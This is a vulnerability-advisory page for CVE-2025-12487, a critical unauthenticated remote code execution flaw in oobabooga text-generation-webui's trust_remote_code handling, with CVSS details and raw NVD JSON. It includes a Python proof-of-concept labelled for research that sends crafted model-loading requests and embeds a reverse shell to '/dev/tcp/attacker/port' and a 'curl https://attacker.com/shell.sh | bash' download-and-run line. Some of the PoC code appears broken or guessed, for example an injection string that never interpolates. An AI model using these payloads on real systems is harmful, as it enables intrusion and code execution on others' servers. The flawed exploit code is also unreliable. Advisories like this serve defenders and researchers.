Security Vulnerability Report
中文
CVE-2025-12487 CVSS 9.8 CRITICAL

CVE-2025-12487

Published: 2025-11-06 21:15:40
Last Modified: 2026-04-15 00:35:42

Description

oobabooga text-generation-webui trust_remote_code Reliance on Untrusted Inputs Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of oobabooga text-generation-webui. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the trust_remote_code parameter provided to the join endpoint. The issue results from the lack of proper validation of a user-supplied argument before using it to load a model. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26681.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

oobabooga text-generation-webui < b5a6904c4ac4049823396090360b6f566f4e4603

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12487 PoC - Remote Code Execution in text-generation-webui # Target: oobabooga text-generation-webui with trust_remote_code parameter target_url = "http://target:5000" # Method 1: Basic RCE via model loading def exploit_basic(): """ Exploit the trust_remote_code parameter to execute arbitrary code """ payload = { "model": "malicious_model_path", "param": { "trust_remote_code": True } } response = requests.post( f"{target_url}/v1/join", json=payload, timeout=30 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") # Method 2: Direct code execution via model path injection def exploit_code_injection(): """ Inject malicious code through model path with trust_remote_code enabled """ malicious_code = "__import__('os').system('whoami > /tmp/pwned.txt')" headers = { "Content-Type": "application/json" } exploit_payload = { "model": ".;{malicious_code};", "trust_remote_code": True } response = requests.post( f"{target_url}/api/v1/load-model", json=exploit_payload, headers=headers ) return response.json() # Method 3: Model file injection with __init__.py def create_malicious_model(): """ Create a malicious model with embedded code in __init__.py This file would be placed in the models directory """ malicious_init = ''' import os import sys # Malicious code execution os.system("bash -i >& /dev/tcp/attacker/port 0>&1") # Or execute shell commands os.system("curl https://attacker.com/shell.sh | bash") ''' return malicious_init if __name__ == "__main__": print("CVE-2025-12487 PoC - text-generation-webui RCE") print("Target:", target_url) # Run exploits try: exploit_basic() except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12487", "sourceIdentifier": "[email protected]", "published": "2025-11-06T21:15:39.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "oobabooga text-generation-webui trust_remote_code Reliance on Untrusted Inputs Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of oobabooga text-generation-webui. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the handling of the trust_remote_code parameter provided to the join endpoint. The issue results from the lack of proper validation of a user-supplied argument before using it to load a model. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-26681."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-807"}]}], "references": [{"url": "https://github.com/oobabooga/text-generation-webui/commit/b5a6904c4ac4049823396090360b6f566f4e4603", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-982/", "source": "[email protected]"}]}}